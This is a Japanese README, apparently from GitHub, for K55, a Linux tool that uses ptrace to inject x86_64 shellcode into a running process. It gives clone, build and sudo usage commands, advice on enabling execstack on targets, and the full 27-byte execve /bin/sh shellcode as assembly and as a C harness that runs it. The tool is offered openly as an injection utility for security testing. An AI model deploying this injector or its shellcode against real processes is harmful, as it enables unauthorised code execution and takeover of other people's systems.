(発音: "kay fifty-five")
K55 ペイロードインジェクションツールは、x86_64 シェルコードペイロードを実行中のプロセスに注入するために使用されます。このユーティリティは、最新の C++11 技術と、ptrace() のような伝統的な C 言語の Linux 関数を組み合わせて開発されました。対象プロセスで生成されるシェルコードは 27 バイトで、対象のアドレス空間内で /bin/sh (bash シェルを起動) を実行します。将来的には、ユーザーがコマンドライン引数で独自のシェルコードを入力できるようにする予定です。
git clone https://github.com/josh0xA/K55.gitcd K55chmod +x build-install.sh./build-install.shUsage: ./K55 <process-name>
r-xp または execstack 権限を持つ任意の Linux プロセスである必要があります。テスト 1) 1 つのターミナル (K55/ ディレクトリ) で以下を実行: ./k55_example_process/k55_test_process
テスト 2) 別のターミナルでインジェクターを実行: sudo ./K55 k55_test_process
当然ながら、ptrace(PTRACE_POKETEXT...) 呼び出しは最も目立たない方法ではありません。そのため、一部のアプリケーションでは K55 の効果が制限される可能性があります。ただし、セキュリティテストの際は、対象のアプリケーションに対して execstack を有効にしてください。たとえば、gdb でテストする場合、注入前に以下を実行します: sudo execstack -s /usr/bin/gdb。execstack はディストリビューションのパッケージマネージャからインストールしてください。Arch Linux ユーザーの場合、execstack は AUR から入手できます。
注: 以下はデモンストレーションです。ペイロード文字列は既に K55 にハードコードされています。
main:
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
push rsp
pop rdi
cdq
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b
syscall
#include <stdio.h>
#include <string.h>
// Shellcode breakdown of the assembly code.
char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main()
{
printf("len:%d bytes\n", strlen(code));
(*(void(*)()) code)();
return 0;
}
http://shell-storm.org/shellcode/files/shellcode-806.php
https://0x00sec.org/t/linux-infecting-running-processes/1097
MIT ライセンス
Copyright (c) Josh Schiavone